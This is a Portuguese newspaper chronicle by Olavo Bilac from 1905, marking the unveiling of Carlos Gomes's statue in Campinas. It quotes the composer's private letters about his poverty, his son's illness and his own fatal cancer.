Carlos Gomes – Olavo Bilac
Inaugura-se hoje, em Campinas, a estátua de
Carlos Gomes. Haverá, decerto, muitas flores, muita música, muitos
discursos. De todos os pontos do Brasil, chegarão telegramas, em que
palpitará o entusiasmo nacional. Os noticiaristas rebuscarão, para descrever a festa, os
seus mais belos adjetivos; os poetas, com as tiorbas
engrinaldadas de rosas e de laços de
fitas, cantarão os seus hinos mais ardentes; e, no meio desse transbordar de
louvores e desse ferver de elogios, não haverá talvez quem pense no que
foi a vida desse homem, que, depois de morro, tanto carinho, tanta
admiração, e tanta homenagem merece…
Não podendo ir a Campinas, e querendo
associar-me à glorificação do artista — preferi escrever alguma cousa sobre o que ele sofreu enquanto vivo.
Projetei narrar alguns episódios da sua existência, e relembrar algumas das conversas
que com ele tive nas ruas, nos teatros, ou em casas amigas, entre
paredes discretas… Mas o Acaso quis que um homem (que foi o maior, o mais
dedicado, o mais constante amigo de Carlos Gomes) me confiasse por
algumas horas todas as cartas que recebera do autor do
Guarani. Passei uma noite a folhear essas cartas — e reconheci que a
exumação de todas as minhas recordações pessoais não valeria,
como comentário digno da festa de hoje, um simples resumo desta documentação
fiel, espontânea, sincera, com que o próprio maestro comentou a
sua vida, e que o seu amigo conserva como uma relíquia preciosa e sagrada.
O
proprietário das cartas é o sr.
Manuel Guimarães.
Uma amizade inalterável
ligou cm vida estes dois homens. O amigo, que ficou,
não fala do amigo morto, sem que uma nuvem de saudade lhe tolde o olhar.
Todas as cartas são
inéditas — e todas são interessantíssimas. Mas aproveitarei somente um volume
da correspondência: e desse volume
extrairei algumas das lágrimas de desespero, de dor, e de desengano, que Carlos
Gomes chorou no seio do seu melhor confidente.
São doze anos de
correspondência íntima e afetuosa; e são justamente os doze anos mais agitados,
mais tumultuosos, mais torturados, mais vividos
da vida do maestro.
A primeira carta é de Lecco (Lombardia), e tem a data
de 26 de abril de 1884; a última é de Milão, e foi escrita em 18 de março de 1896
— quando Carlos Gomes, já com a boca devorada pelo carcinoma que o matou, se
dispunha a partir para o Pará, onde vinha tomar posse
do cargo de diretor do conservatório de música.
O que dá valor a estas
cartas é o seu tom de absoluta sinceridade. Quem conheceu
Carlos Gomes", sabe que nunca houve no mundo um homem mais
simples, mais ingênuo, mais inocente. Ele próprio dizia: "Haverá alguém
que possa odiar este pobre caboclo de Campinas?…".
Artistas há que, ainda
quando estão escrevendo a amigos íntimos, têm a "preocupação da
posteridade", e escolhem as suas frases, e velam os seus pensamentos, com
a mira no "efeito", já alguém disse que alguns homens célebres, até
quando dormem, têm a atitude de quem está diante da máquina de um fotógrafo…
Carlos Gomes não conhecia essas atitudes estudadas. Quando falava, em público
ou na intimidade, falava como um caipira, com o ração à flor dos lábios; e,
quando escrevia, escrevia tão naturalmente, que alguns trechos da sua
correspondência não podem ser publicados., ou pelo
desalinho e incorreção da frase, ou pela crueza da expressão…
Que vida agoniada,
inquieta, sobressaltada, foi a deste glorificado de hoje — numa perpétua luta
com os editores, com os empresários, com os cantores, e com os credores!
Já a primeira carta
(1884) é um grito de angústia: "Não repare se lhe escrevo às carreiras, e,
ainda mais, com demora. Tenho sofrido ultimamente contínuos desgostos, e de
tal natureza que me paralisam os sentidos. Por minha parte, nada espero do
futuro, porque sou muito caipira, e não posso ser adulador…". E daí por
diante, não cessa o caiporismo…
Dizia-se que Carlos Gomes
esbanjava o dinheiro — e até que jogava. Todos os seus amigos sabem que o pobre
nunca pôs a mão num baralho de cartas… E, quanto ao esbanjamento do dinheiro
— como pode esbanjá-lo quem somente o ganha em porções
mirradas c contadas? E não teria o direito de ganhar muito dinheiro e de gastar
muito dinheiro, o homem que, pelo seu talento e pelo seu traba
lho, tanto honrou e
elevou o nome do Brasil?… Mas, não! pela leitura da
sua correspondência, vê-se. bem que as quantias que
lhe passavam pelas mãos, mal lhe bastavam para viver com decência, e para
educar os filhos. Em 1889, o maestro veio com uma companhia lírica ao Brasil,
levou-a por sua conta a São Paulo — e voltou de lá endividado. Em 1890 (carta
de 19 de outubro), depois de um ano de negociações, vendeu, a uma certa casa editora daqui, a propriedade de onze peças
de música, por 350$000! A carta é dolorosa: "Aceito, enfim., a proposta da casa X
porque a
força maior a isso me obriga… Eles todos, desde O guarani até o Escravo,
ganham dinheiro, e riem do pobre autor… E inútil repetir-te que fico aqui
esperando a quantia em francos o mais breve possível, pois sabes que vivo no
inferno das necessidades, e sustentando a aparência de independente. Oh! que
luta, que luta, meu amigo!". Mas não haveria aqui espaço bastante, para
conter a narração dessas explorações de editores…
Em 1891 (carta de 3 de abril) Carlos Gomes vem de novo ao Brasil, com o
empresário D, que deve montar algumas das suas óperas: "A patifaria de D
chegou ao ponto de ter partido daqui (Milão) sem me garantir a passagem no
vapor Europa a 14 do corrente. Não me chegando o adiantamento que ele me
fez, tive de pôr no prego a lira com que. presenteaste a Ítala. E, assim
mesmo, não sei se poderei partir!…". Voltando à Europa, nesse mesmo ano
— depois de ver fracassado o plano de direção de um teatro, com que o embalaram
e enganaram — o maestro deixara aqui, com o seu amigo, algumas jóias. Mandou
buscá-las depois, e, assim que as recebeu, empenhou-as: "Não sei como te
agradeça [carta de 12 de junho de 1802] o cuidado que tiveste em remeter as
jóias, que já estão depositadas no Mont de Pieté, pela quantia de 810 francos. As despesas
extraordinárias, o resgate, do Condor, o seguro dos meninos, a copiatum do Colombo, me obrigaram a
isso. Coragem, Gomes! Tenho certa esperança de obter qualquer cousa em Chicago!…".
Oh! esta
famosa viagem a Chicago!… mais de um ano de pedidos,
de. promessas, de desculpas, de demoras de pagamento
— e, depois da má vontade da comissão, de exigência dos comissários, de
impossibilidade de organizar bons concertos — e, finalmente, de deficits, de calúnias, e (18 desgostos…
Em 1805, já não é somente
a falta de dinheiro o que atormenta o espírito do infeliz. Dois novos
sofrimentos o torturam: a moléstia do filho (Carletto,
que veio a morrer
tuberculoso) — e a moléstia própria, o início
da medonha enfermidade que o matou.
A carta de 2 de
fevereiro de 1895 (Milão) é um largo brado de desespero: "É triste! é
doloroso! E caiporismo do teu compadre! e ate cômico: gastar o último vintém,
disparar o último cartucho, para, no fim, ficar prisioneiro da feroz inimiga:
a Miséria! Mas ainda não disparei o último cartucho — o crédito de que ainda
gozo nesta terra estrangeira. Ando aumentando dívidas, mas, seja como for, hei
de defender o meu filho, custe o que custar!… Carlctto
não apresenta melhoras… Não conto mais as consultas dos médicos desde o ano
passado, nem as contas da botica… Imagina, compadre, como vou eu para o
Pará!".
Nessa carta, há ainda
esta linha terrível, em que aparece a idéia do suicídio: "Mancinelli (o maestro que se suicidou no Rio) era em vida
um ‘joão-fera’, um bicho-brabo
intratável — mas, por fim, deu um exemplo imitável..".
Carletto ficou em San Remo,
cada vez pior, ítala ficou em Milão — c Carlos Gomes veio ao Pará (primeira
viagem): já então, o cancro progride: "A minha saúde [caria de 12 de julho
de 1895, escrita a bordo] tem sorrido muito ultimamente. A antiga moléstia da
boca piorou… A inflamação da garganta também se tem agravado — e isso quer dizer
que o clima do Pará não é para mim. Mas que fazer? No Rio, não me querem, nem
para porteiro do conservatório! Em Campinas, e em São Paulo, idem! No
Pará, porém, querem-me de braços abertos… Não me querem no Sul? morrerei no
Norte: tudo é terra brasileira… Amém!".
De todas as calúnias de
que foi vítima em vida o grande artista, cuja estátua se inaugura hoje, a que
sempre mais lhe doeu foi a que se levantou sobre a sua falta de. patriotismo.
Dizia-se comumente,
sempre que se queria magoá-lo, que Carlos Gomes se havia naturalizado italiano,
e que impusera aos filhos a nacionalidade italiana; e até se apresentava como
uma demonstração do seu antibrasileirismo a escolha
dos nomes que ele dera às duas crianças: Carletto e
ítala…
A correspondência
esclarece esse ponto, e destrói triunfal mente a calúnia.
Em 1º de dezembro de 1891,
escrevia o maestro, de Milão, ao seu amigo: "Fui derrotado em Pesaro,.onde me apresentei
candidato ao lugar de diretor do conservatório.
"O motivo da minha
derrota é simples e natural: não sou italiano. Se fosse ao menos
naturalizado!… Eis aqui, compadre; sem que eu a procurasse propositalmente,
posso hoje dar a melhor e mais eloqüente resposta a todo e qual
quer brasileiro (de
Manaus a Uruguaiana) sobre as calúnias que me levantavam de ter renegado a
minha pátria… Se a imprensa de rodo o Brasil quisesse registrar
este fato, não faria mais do que um dever de justiça; mas será inútil: a
calúnia sempre deixa a Catinga.
"Outras derrotas
posso também registrar, começando pelo Rio de Janeiro, onde nem lugar de. porteiro do conservatório posso obter, e pela
indiferença de São Paulo, Pernambuco, Pará, Barbacena, e até Campinas, que não
responderam às minhas propostas e oferecimentos a respeito da fundação de
conservatórios de música!’"
Mas há ainda melhor: é o
trecho da longa carta, escrita em 12 de setembro de 1895, de bordo do vapor Brasil,
entre Pará e Pernambuco: "[…] Devo agora falar-te de uma nova
desgraça a respeito do meu Carletto. A questão
é séria c grave, tratando-se do recrutamento militar. Logo que nasceu o Carictro (29 de janeiro de 1873) registrei-o no consulado-geral em Gênova declarando-o
brasileiro. Aos vinte anos,
recebi aviso do Ministério da Guerra italiano, declarando que meu filho
estava na lista da soldadesca [sic] para 1895, por ter nascido em Milão,
ainda que de pai estrangeiro. Protestei, e houve troca de ofícios entre mim e
o Ministério da Guerra em
Roma. Afinal, o ministério italiano mandou-me um ultimatum, dizendo que competia ao meu rapaz,
aos 21, declarar qual a nacionalidade que enrão entendesse
adotar.
"Antes de deixar a Itália, este ano, tratei
do assunto na Repartição do Recrutamento, em Milão (visto a ausência de Carletto, por motivo de grave moléstia). Responderam que
tudo ficaria em regra logo que o recruta se apresentasse.. Parti, portanto, da Itália, tranqüilo a respeito do melindroso
assunto, certo de que o Carletto, voltando a Milão,
chegaria a tempo… Não, senhor! o Carletto, voltando
a Milão, teve o aviso do chefe do
recrutamento, declarando-o soldado de primeira categoria, isto é,
obrigado por três anos, visto não ter feito em tempo a declaração da
nacionalidade estrangeira, à qual tinha direito por ser filho de pai
brasileiro."
Felizmente, tudo se arranjou, não sem
dificuldade. E, em outra carta de Milão (15 de outubro de 1895), há estas nobres
e comovedoras palavras: "És
o primeiro á quem escrevo a este respeito… Carletto
acaba de receber do governo italiano a declaração formal de ficar livre do
serviço militar, por ser considerado estrangeiro. Estrangeiro, por quê pergunto eu: por ser filho do maestro Carlos Gomes,
o qual foi, é, e há de ser sempre estrangeiro na Itália. Este
fato é mais uma resposta aos meus inimigos do
Brasil, resposta a todos quantos até hoje duvidam da minha lealdade como
brasileiro legítimo e patriota! Carletto está enfim
livre da farda italiana; quem o livrou foi o governo do Brasil, ou foi a
legalidade?… se eu fosse naturalizado italiano haveria governo no mundo capaz
de salvar o meu filho? Compadre, a mentira tem pernas curtas; por mais que
possa correr, acaba por ser alcançada pelas investigações da verdade… Carletto está agradecido a Carlos de Carvalho, ao nosso
ministro em Roma, aos deputados que o recomendaram ao nosso governo; Carletto agradece também a ri e ao compadre Castelões,
pelas visitas feitas ao ministro das Relações Estrangeiras no Rio; mas Carletto agradece ao mesmo tempo a seu pai, por ser
brasileiro, fiel à sua pátria…".
Agora,
a última carta da coleção.
Carlos Gomes vai de novo
partir de Milão: "A 1º de abril [carta de 18 de março de 1896] conto
embarcar cm Lisboa para o Pará, onde fui positivamente nomeado diretor do
conservatório da capital. O meu emprego poderá durar de dous a
três anos… Tudo é possível! é possível também que eu não continue por muitos
meses ainda neste mundo… Não imaginas o estado gravíssimo da minha boca: a
garganta c glândulas sempre inflamadas; no centro da língua uma ferida
enorme… Há muitos meses que perdi o paladar; o meu alimento normal é leite e
miolo de pão, nada mais. Qual é o homem que, neste estado, pode ver o fruto
cor-de-rosa? Ninguém imagina o heroísmo com que eu suporto a minha situação.
Acrescenta a este estado físico insuportável a agitação moral… Depois do Colombo,
não consegui terminar trabalho algum principiado". E, mais adiante:
"Bastava-me um emprego, o qual finalmente acabo de obter no Pará. Este
fato me consola bastante. Pará é terra brasileira… Eu sempre desejei
finalizar a luta na minha terra!".
E agora, o epílogo, o
último passo doloroso da longa vida de torturas… E uma carta, já não do
maestro, mas de um amigo de sempre: "Pará, 26 de maio de 1896. Meu caro…
Desde o dia 14, o Pará hospeda com fidalguia Carlos Gomes, havendo da parte do
governador Lauro Sodré toda a solicitude. Infelizmente, a junta médica,
chefiada pelo dr. Pais de
Carvalho, julga-o inteiramente perdido. E horrível o sofrimento do nosso
maestro: a língua, inteiramente tomada, dificulta a fala, e só lhe permite
alimentar-se com leite e caldo. Como ele é teu compadre e amigo,
prepara-te para tudo quanto possa haver de mais
desagradável…".
De fato, poucos meses
depois, a 11 de julho de 1896. o grande artista
morria. O emprego, tão ardentemente ambicionado, chegara tarde; o pão, tantas
vezes pedido, já não achara boca com que o pudesse comer…
Não nos revoltemos contra
essa dura fatalidade, que pesa sobre o destino dos homens de gênio — desconhecidos
e desprezados em vida, e glorificados depois da morte. Na terra, sempre
existiram cigarras e formigas. A cigarra nasceu para cantar, e a formiga nasceu
para enriquecer: como se há de evitar que cada uma delas cumpra a sua missão,
sujeitando-se às desvantagens ou gozando as vantagens que nessa missão estão
compreendidas?
A formiga tem mais
dinheiro, mas a cigarra tem mais glória. Infelizmente, a glória não é cousa que os prestamistas e os agiotas aceitem como penhor
de qualquer empréstimo…
O.
B.
Gazeta
de Notícias 2/7/1905
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